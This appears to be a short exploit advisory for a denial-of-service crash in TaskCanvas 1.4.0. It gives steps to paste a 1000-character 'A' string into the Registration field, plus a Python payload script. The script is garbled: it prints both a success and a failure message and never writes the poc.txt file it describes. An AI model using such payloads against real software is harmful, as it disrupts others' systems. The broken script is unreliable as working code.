TaskCanvas 1.4.0 Denial Of Service

TaskCanvas version 1.4.0 suffers from a denial of service vulnerability.

MD5 | e3399f8d8bd41c46aa40258f53ea52c5

# Exploit Title: TaskCanvas 1.4.0 - 'Registration' Denial Of Service
# Exploit Author : Ismail Tasdelen
# Exploit Date: 2020-01-06
# Vendor Homepage : https://www.digitalvolcano.co.uk/
# Link Software : https://www.digitalvolcano.co.uk/taskcanvasdownload.html
# Tested on OS: Windows 10
# CVE : N/A

Proof of Concept (PoC):

1.Download and install TaskCanvas
2.Run the python operating script that will create a file (poc.txt)
3.Run the software "Registration -> Enter Registration Code
4.Copy and paste the characters in the file (poc.txt)
5.Paste the characters in the field 'Registration' and click on 'Ok'
6.TaskCanvas Crashed


buffer = "A" * 1000

payload = buffer
print("[+] Creating %s bytes evil payload." %len(payload))
print("[+] File created!")
print("File cannot be created.")

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